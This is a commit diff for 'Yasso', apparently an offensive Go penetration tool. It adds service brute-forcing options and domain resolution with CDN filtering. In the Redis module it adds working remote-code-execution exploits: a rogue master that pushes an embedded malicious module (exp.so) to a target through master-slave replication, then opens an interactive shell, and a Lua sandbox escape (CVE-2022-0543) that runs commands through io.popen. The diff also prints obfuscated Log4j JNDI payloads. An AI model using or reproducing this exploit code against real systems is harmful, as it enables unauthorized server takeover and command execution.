更新，all模块增加了不爆破脆弱服务，其次可以通过参杂域名来扫描了

cmd/all.go

@@ -25,6 +25,7 @@ func init() {
 	allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
 	allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)")
 	allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host")
+	allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service")
 	allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host")
 	allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread")
 	allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
@@ -71,11 +72,12 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no
 	if len(alive) > 0 {
 		fmt.Println("----- [Yasso] Start do vuln scan -----")
 		VulScan(alive, false, true, false) // 做漏洞扫描
+		var PortResults []PortResult
 		if len(alive) != 0 {
 			fmt.Println("----- [Yasso] Start do port scan -----")
+			PortResults = PortScan(alive, ports)
 		}
-		PortResults := PortScan(alive, ports)
-		if len(PortResults) != 0 {
+		if len(PortResults) != 0 && NoCrack == false {
 			fmt.Println("----- [Yasso] Start do crack service -----")
 			for _, v := range PortResults {
 				var one JsonOut
@@ -152,8 +154,10 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no
 			wg.Wait()
 		}
 		// 做网卡扫描
-		fmt.Println("----- [Yasso] Start do Windows service scan -----")
-		winscan(alive, true)
+		if len(alive) > 0 {
+			fmt.Println("----- [Yasso] Start do Windows service scan -----")
+			winscan(alive, true)
+		}
 		fmt.Println("----- [Yasso] Start do web service scan -----")
 		out = DisMapScanJson(&out, webports)
 	}

cmd/brute.go

@@ -5,10 +5,11 @@ import (
 	"bufio"
 	"fmt"
 	"github.com/panjf2000/ants/v2"
+	"github.com/projectdiscovery/cdncheck"
 	"github.com/spf13/cobra"
-	"io"
 	"log"
 	"math"
+	"net"
 	"os"
 	"reflect"
 	"strings"
@@ -18,10 +19,6 @@ import (
 
 // 爆破模块
 
-const (
-	Clearln = "\r\x1b[2K"
-)
-
 var BruteCmd = &cobra.Command{
 	Use:   "crack",
 	Short: "crack module and extend tool",
@@ -108,7 +105,7 @@ func SwitchBurp(service string, users []string, pass []string, hosts []string, p
 		})
 	}
 	wg.Wait()
-	Println(fmt.Sprintf(Clearln+"[*] brute %s done", service))
+	Println(fmt.Sprintf("[*] brute %s done", service))
 
 	//Println()(service,users,pass,hosts,port,thread,BurpModule)
 }
@@ -138,16 +135,6 @@ func burpTask(host, service string, users []string, pass []string, port int, thr
 			}
 		}
 	}
-	if run {
-		go func() {
-			for {
-				for _, r := range `-\|/` {
-					fmt.Printf("\r%c brute: wating ... %c", r, r)
-					time.Sleep(200 * time.Millisecond)
-				}
-			}
-		}()
-	}
 	if service == "redis" && run == true {
 		BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
 	}
@@ -195,7 +182,7 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string
 						out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}})
 						lock.Unlock()
 					}
-					Println(fmt.Sprintf(Clearln+`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
+					Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
 				}
 			}
 		}
@@ -203,24 +190,16 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string
 }
 
 func Readiness(file *os.File) []string {
-	var readiness []string       /*定义一个空切片用于存储遍历后的数据*/
-	buf := bufio.NewReader(file) /*建立一个缓冲区，将文本内容写入缓冲区*/
-	for {
-		data, errR := buf.ReadBytes('\n') /*读取到\n截至*/
-		if errR != nil {
-			if errR == io.EOF {
-				break
-			}
-			return readiness
+	var readiness []string /*定义一个空切片用于存储遍历后的数据*/
+	scanner := bufio.NewScanner(file)
+	scanner.Split(bufio.ScanLines)
+	for scanner.Scan() {
+		text := strings.TrimSpace(scanner.Text())
+		if text != "" {
+			readiness = append(readiness, text)
 		}
-		str := strings.TrimSpace(string(data))
-		// 修复读取时出现空的导致抛出panic
-		if str == "" {
-			continue
-		}
-
-		readiness = append(readiness, str) /*将去除换行符的字符串写入切片*/
 	}
+	readiness = SplitUrlToIpList(readiness, 100)
 	return readiness
 }
 
@@ -240,7 +219,7 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) {
 	if user != "" && strings.Contains(user, ".txt") {
 		userive, err := os.Open(user)
 		if err != nil {
-			Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your user dic path", UserDic))
+			Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic))
 			return []string{}, []string{}
 		}
 		userdic = Readiness(userive)
@@ -248,10 +227,84 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) {
 	if pass != "" && strings.Contains(pass, ".txt") {
 		passive, err := os.Open(pass)
 		if err != nil {
-			Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your pass dic path", PassDic))
+			Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic))
 			return []string{}, []string{}
 		}
 		passdic = Readiness(passive)
 	}
 	return userdic, passdic
 }
+
+func SplitUrlToIpList(list []string, thread int) []string {
+	cdnClient, err := cdncheck.NewWithCache()
+	if err != nil {
+		Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err))
+	}
+	checkChan := make(chan string, 100)
+	var wg sync.WaitGroup
+	var re []string
+	for i := 0; i < thread; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			for host := range checkChan {
+				ip, err := net.LookupHost(host)
+				if err != nil {
+					continue
+				}
+				if ip != nil {
+					for _, i := range ip {
+						re = append(re, i)
+						Println(fmt.Sprintf("[*] %v:%v", host, ip))
+					}
+				}
+			}
+		}()
+	}
+	// 判断前缀，将其添加到需要解析的列表当中
+	for _, domain := range list {
+		if strings.Contains(domain, "http://") {
+			domain = strings.TrimPrefix(domain, "http://")
+		}
+		if strings.Contains(domain, "https://") {
+			domain = strings.TrimPrefix(domain, "https://")
+		}
+		checkChan <- domain
+	}
+	close(checkChan)
+	wg.Wait()
+	re = remove(re) // 移除重复结果
+	// 移除cdn结果
+	var resp []string
+	for _, ip := range re {
+		success := cdnFilter(ip, cdnClient)
+		if success != "" && !strings.Contains(ip, ":") {
+			resp = append(resp, success)
+		} else {
+			Println(fmt.Sprintf("[*] %s has cdn", ip))
+		}
+	}
+	return resp
+}
+
+// cdn 过滤器
+func cdnFilter(ip string, client *cdncheck.Client) string {
+	if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
+		return ""
+	}
+	return ip
+}
+
+// remove 移除重复结果
+func remove(slc []string) []string {
+	var result []string
+	tempMap := map[string]byte{} // 存放不重复主键
+	for _, e := range slc {
+		l := len(tempMap)
+		tempMap[e] = 0
+		if len(tempMap) != l { // 加入map后，map长度变化，则元素不重复
+			result = append(result, e)
+		}
+	}
+	return result
+}

cmd/ftp.go

@@ -34,11 +34,11 @@ func BruteFtpByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("ftp", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [ftp]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [ftp]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 }

cmd/grdp.go

@@ -53,11 +53,11 @@ func BruteRdpByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("rdp", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [rdp]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [rdp]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain)
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 }

cmd/log4j.go

@@ -26,12 +26,12 @@ var Log4jCmd = &cobra.Command{
 		}
 		t := strings.Split(log4listenAddr, ":")
 		if len(t) == 2 {
-			Println(Clearln + "Press ctrl+c to shutdown")
+			Println("Press ctrl+c to shutdown")
 			go Log4jCheckServer(t[0], t[1])
 			c := make(chan os.Signal, 1)
 			signal.Notify(c, os.Interrupt, syscall.SIGTERM)
 			<-c
-			Println(Clearln + "ctrl+c detected. Shutting down")
+			Println("ctrl+c detected. Shutting down")
 		}
 	},
 }
@@ -45,7 +45,7 @@ func Log4j2HandleRequest(conn net.Conn) {
 	buf := make([]byte, 1024)
 	num, err := conn.Read(buf)
 	if err != nil {
-		Println(fmt.Sprintf(Clearln+"accept data reading err %v", err))
+		Println(fmt.Sprintf("accept data reading err %v", err))
 		_ = conn.Close()
 		return
 	}
@@ -88,20 +88,20 @@ func RMI(data []byte) bool {
 func Log4jCheckServer(host string, port string) {
 	listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port))
 	if err != nil {
-		Println(Clearln + "log4j listen server failed")
+		Println("log4j listen server failed")
 		return
 	}
 	defer listen.Close()
 	//Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port))
-	Println(Clearln + "[payload]: ")
-	Println(fmt.Sprintf(Clearln+"==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port))
-	Println(fmt.Sprintf(Clearln+"==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port))
-	Println(fmt.Sprintf(Clearln+"==> ${jndi:ldap://%v:%v/poc}", host, port))
+	Println("[payload]: ")
+	Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port))
+	Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port))
+	Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port))
 	Println("-----------------------------------")
 	for {
 		conn, err := listen.Accept()
 		if err != nil {
-			Println(fmt.Sprintf(Clearln+"accept failed %v", err))
+			Println(fmt.Sprintf("accept failed %v", err))
 			continue
 		}
 		go Log4j2HandleRequest(conn)

cmd/mongo.go

@@ -37,12 +37,12 @@ func BruteMongoByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [mongodb]")
-			Println(Clearln + "[*] MongoDB Authorized crack")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [mongodb]")
+			Println("[*] MongoDB Authorized crack")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 }
@@ -115,7 +115,7 @@ func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) {
 		text := string(reply[0:count])
 		if strings.Contains(text, "totalLinesWritten") {
 			flag = true
-			Println(fmt.Sprintf(Clearln+"[+] Mongodb %v unauthorized", info.Host))
+			Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host))
 		}
 	}
 	return flag, nil

cmd/mssql.go

@@ -21,7 +21,6 @@ import (
 /*
 	内网mssql数据库比较多，可以完善一下clr和xp_cmdshell,spoacreate
 */
-
 var (
 	HelpWarSQLKit    int
 	InWarSQLKit      int
@@ -76,11 +75,11 @@ func MssqlBurpByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("mssql", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [mssql]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [mssql]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 	if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" {

cmd/mysql.go

@@ -40,11 +40,11 @@ func BruteMysqlByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("mysql", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [mysql]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [mysql]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 	if Hosts == "" && ConnHost != "" {

cmd/postgres.go

@@ -35,11 +35,11 @@ func BrutePostgreByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("postgres", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [postgres]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [postgres]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 }

cmd/redis.go

@@ -4,15 +4,24 @@ package cmd
 import (
 	"Yasso/config"
 	"bufio"
+	"context"
+	_ "embed"
 	"errors"
 	"fmt"
+	"github.com/go-redis/redis/v8"
 	"github.com/spf13/cobra"
+	"io"
 	"net"
 	"os"
+	"path/filepath"
 	"strings"
+	"sync"
 	"time"
 )
 
+//go:embed static/exp.so
+var payload []byte
+
 var RedisCmd = &cobra.Command{
 	Use:   "redis",
 	Short: "Redis burst and Redis extend tools (support proxy)",
@@ -27,6 +36,11 @@ var RedisCmd = &cobra.Command{
 var (
 	RemoteHost      string
 	RemotePublicKey string
+	LocalHost       string
+	LocalPort       int
+	RemoteSoPath    string
+	IsRCE           bool
+	RedisRCEMethod  string
 )
 
 func init() {
@@ -35,6 +49,12 @@ func init() {
 	RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address")
 	RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass")
 	RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command")
+	RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)")
+	RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)")
+	RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)")
+	RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)")
+	RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability")
+
 }
 
 func BruteRedisByUser() {
@@ -51,12 +71,12 @@ func BruteRedisByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("redis", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [redis]")
-			Println(Clearln + "[*] Redis Authorized crack")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [redis]")
+			Println("[*] Redis Authorized crack")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 	if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") {
@@ -83,8 +103,22 @@ func BruteRedisByUser() {
 		if status == true {
 			RedisExploit(conn, RemoteHost, RemotePublicKey)
 		}
+	}
+	if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" {
+		client := InitRedisClient(ConnHost, BrutePort, LoginPass)
+		if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 {
+			// 主从复制
+			RedisRCE(client, LocalHost, LocalPort, RemoteSoPath)
+		} else if strings.ToLower(RedisRCEMethod) == "lua" {
+			//lua 沙盒逃逸
+			RedisLua(client)
+		} else {
+			Println("[*] you need choose a rce method")
+			return
+		}
+		_ = client.Close()
 	} else {
-		Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound")
+		Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce")
 	}
 }
 
@@ -120,7 +154,7 @@ func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error
 	if strings.Contains(reply, "+OK") {
 		flag = true
 		conf := RedisInfo(conn, reply)
-		Println(fmt.Sprintf(Clearln+"[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID))
+		Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID))
 	}
 	return conn, flag, nil
 }
@@ -147,7 +181,7 @@ func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, err
 	if strings.Contains(reply, "redis_version") {
 		flag = true
 		conf := RedisInfo(conn, reply)
-		Println(fmt.Sprintf("%v[+] Redis %s:%v unauthorized dbfilename:[%v] ", Clearln, info.Host, info.Port, conf.DbFileName))
+		Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName))
 	}
 	return conn, flag, nil
 }
@@ -175,11 +209,6 @@ func RedisReply(conn net.Conn) (string, error) {
 
 func RedisInfo(conn net.Conn, reply string) RedisConfig {
 	var (
-		// 第0个是#Server
-		//version    = strings.Split(strings.Split(reply, "\r\n")[2], ":")[1]  // redis version
-		//os         = strings.Split(strings.Split(reply, "\r\n")[7], ":")[1]  // os
-		//pid        = strings.Split(strings.Split(reply, "\r\n")[11], ":")[1] // redis pid
-		//install    = strings.Split(strings.Split(reply, "\r\n")[18], ":")[1]
 		dbfilename string
 	)
 	// 读取filename
@@ -199,13 +228,8 @@ func RedisInfo(conn net.Conn, reply string) RedisConfig {
 	}
 
 	var redisConfig = RedisConfig{
-		//Version:    version,
-		//OS:         os,
-		//PID:        pid,
-		//ConfigPath: install,
 		DbFileName: dbfilename,
 	}
-	//Println()(redisConfig)
 	return redisConfig
 }
 
@@ -448,3 +472,210 @@ func ReadKeyFile(filename string) (string, error) {
 	}
 	return "", err
 }
+
+func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) {
+	// 设置so文件存放路径
+	var dest string
+	if SoPath == "" {
+		dest = "/tmp/net.so"
+	} else {
+		dest = SoPath
+	}
+	Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client)
+	fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort))
+	dbfilename, dir := getInformation(client)
+	filenameDir, filename := filepath.Split(dest)
+	Rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
+	Rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
+	// 做监听
+	ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort))
+	// 重置数据库
+	reStore(client, dir, dbfilename)
+	// 加载so文件
+	s := Rexec(fmt.Sprintf("module load %v", dest), client)
+	if s == "need unload" {
+		fmt.Println("[+] try to unload")
+		Rexec(fmt.Sprintf("module unload system"), client)
+		fmt.Println("[+] to the load")
+		Rexec(fmt.Sprintf("module load %v", dest), client)
+	}
+	fmt.Println("[+] module load success")
+	// 循环执行命令
+	reader := bufio.NewReader(os.Stdin)
+	for {
+		var cmd string
+		fmt.Printf("[redis-rce]» ")
+		cmd, _ = reader.ReadString('\n')
+		cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
+		if cmd == "exit" {
+			cmd = fmt.Sprintf("rm %v", dest)
+			run(fmt.Sprintf(cmd), client)
+			Rexec(fmt.Sprintf("module unload system"), client)
+			fmt.Println("[+] module unload system break redis-rce")
+			break
+		}
+		Receive(run(fmt.Sprintf(cmd), client))
+	}
+	os.Exit(0)
+}
+
+func RedisLua(client *redis.Client) {
+	reader := bufio.NewReader(os.Stdin)
+	for {
+		var cmd string
+		fmt.Printf("[redis-lua]» ")
+		cmd, _ = reader.ReadString('\n')
+		cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
+		if cmd == "exit" {
+			break
+		}
+		Receive(execLua(cmd, client))
+	}
+	os.Exit(0)
+}
+
+func Rexec(cmd string, client *redis.Client) string {
+	args := strings.Fields(cmd)
+	var argsInterface []interface{}
+	for _, arg := range args {
+		argsInterface = append(argsInterface, arg)
+	}
+	//Send(cmd)
+	val, err := client.Do(context.Background(), argsInterface...).Result()
+	return Check(val, err)
+}
+
+func getInformation(client *redis.Client) (string, string) {
+	r := Rexec("config get dbfilename", client)
+	if !strings.HasPrefix(r, "dbfilename") {
+		return "", ""
+	}
+	dbfilename := r[11 : len(r)-1]
+	d := Rexec("config get dir", client)
+	if !strings.HasPrefix(d, "dir") {
+		return "", ""
+	}
+	dir := d[4 : len(d)-1]
+	return dbfilename, dir
+}
+
+func Send(str string) {
+	str = strings.TrimSpace(str)
+	fmt.Println(fmt.Sprintf("[->] %v", str))
+}
+
+func Receive(str string) {
+	str = strings.TrimSpace(str)
+	fmt.Println(fmt.Sprintf("%v", str))
+}
+
+func Check(val interface{}, err error) string {
+	if err != nil {
+		if err == redis.Nil {
+			fmt.Println("[!] key is not exist")
+			return ""
+		}
+		fmt.Println(fmt.Sprintf("[!] %v", err.Error()))
+		if err.Error() == "ERR Error loading the extension. Please check the server logs." {
+			return "need unload"
+		}
+		os.Exit(0)
+	}
+	switch v := val.(type) {
+	case string:
+		return v
+	case []string:
+		return "list result:" + strings.Join(v, " ")
+	case []interface{}:
+		s := ""
+		for _, i := range v {
+			s += i.(string) + " "
+		}
+		return s
+	}
+	return ""
+}
+
+func ListenLocal(address string) {
+	var wg = &sync.WaitGroup{}
+	wg.Add(1)
+	addr, err := net.ResolveTCPAddr("tcp", address)
+	if err != nil {
+		fmt.Println("[!] resolve tcp address failed")
+		os.Exit(0)
+	}
+	listen, err := net.ListenTCP("tcp", addr)
+	if err != nil {
+		fmt.Println("[!] listen tcp address failed")
+		os.Exit(0)
+	}
+	defer listen.Close()
+	fmt.Println(fmt.Sprintf("[*] start listen in %v", address))
+	c, err := listen.AcceptTCP()
+	if err != nil {
+		fmt.Println("[!] accept tcp failed")
+		os.Exit(0)
+	}
+	go masterSlave(wg, c)
+	wg.Wait()
+	_ = c.Close()
+}
+
+func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
+	defer wg.Done()
+	buf := make([]byte, 1024)
+	for {
+		time.Sleep(1 * time.Second)
+		n, err := c.Read(buf)
+		if err == io.EOF || n == 0 {
+			fmt.Println("[*] master-slave replication process is complete")
+			return
+		}
+		switch {
+		case strings.Contains(string(buf[:n]), "PING"):
+			c.Write([]byte("+PONG\r\n"))
+			//Send("+PONG")
+		case strings.Contains(string(buf[:n]), "REPLCONF"):
+			c.Write([]byte("+OK\r\n"))
+			//Send("+OK")
+		case strings.Contains(string(buf[:n]), "SYNC"):
+			resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
+			resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
+			rep := []byte(resp)
+			rep = append(rep, payload...)
+			rep = append(rep, []byte("\r\n")...)
+			c.Write(rep)
+			//Send(resp)
+		}
+	}
+}
+
+func reStore(client *redis.Client, dir, dbfilename string) {
+	success := Rexec("slaveof no one", client)
+	if strings.Contains(success, "OK") {
+		fmt.Println("[+] restore file success")
+	}
+	Rexec(fmt.Sprintf("config set dir %v", dir), client)
+	Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
+}
+
+func run(cmd string, client *redis.Client) string {
+	ctx := context.Background()
+	val, err := client.Do(ctx, "system.exec", cmd).Result()
+	return Check(val, err)
+}
+
+func execLua(cmd string, client *redis.Client) string {
+	ctx := context.Background()
+	val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result()
+	return Check(val, err)
+}
+
+func InitRedisClient(host string, port int, pass string) *redis.Client {
+	rdb := redis.NewClient(&redis.Options{
+		Addr:     fmt.Sprintf("%v:%v", host, port),
+		Password: pass, // no password set
+		DB:       0,    // use default DB
+	})
+	return rdb
+}

cmd/root.go

@@ -27,6 +27,7 @@ var (
 	SQLShellBool   bool          // 是否启动sql—shell
 	SQLCommand     string        // sql语句单条命令行
 	WinRMbool      bool          // winrm shell
+	NoCrack        bool          // 判断all模块是否爆破服务
 )
 
 var rootCmd = &cobra.Command{

cmd/smb.go

@@ -39,11 +39,11 @@ func BruteSmbByUser() {
 		}
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("smb", UserDic, PassDic)
-			Println(Clearln + "[*] Brute Module [smb]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [smb]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 }

cmd/ssh.go

@@ -49,32 +49,32 @@ func BruteSshByUser() {
 		if BruteFlag == true {
 			users, pass := ReadTextToDic("ssh", UserDic, PassDic)
 			//fmt.Println(users, pass)
-			Println(Clearln + "[*] Brute Module [ssh]")
-			Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
+			Println("[*] Brute Module [ssh]")
+			Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
 			SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
 		} else {
-			Println(Clearln + "[*] May be you want to brute? try to add --crack")
+			Println("[*] May be you want to brute? try to add --crack")
 		}
 	}
 	if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true {
 		if LoginUser != "" && LoginPass != "" {
 			client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
 			if err != nil {
-				Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err))
+				Println(fmt.Sprintf("[-] Login ssh failed %v", err))
 				return
 			}
 			if status == true {
 				//认证成功
 				SshLogin(client)
 			} else {
-				Println(Clearln + "[-] The username or password is incorrect")
+				Println("[-] The username or password is incorrect")
 				return
 			}
 		}
 		if LoginPublicKey != "" && LoginUser != "" {
 			client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser)
 			if err != nil {
-				Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err))
+				Println(fmt.Sprintf("[-] Login ssh failed %v", err))
 				return
 			}
 			if status == true {
@@ -82,13 +82,13 @@ func BruteSshByUser() {
 				SshLogin(client)
 				return
 			} else {
-				Println(Clearln + "[-] The username or password is incorrect")
+				Println("[-] The username or password is incorrect")
 				return
 			}
 		}
 	}
 	if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") {
-		Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
+		Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)")
 		return
 	}
 }

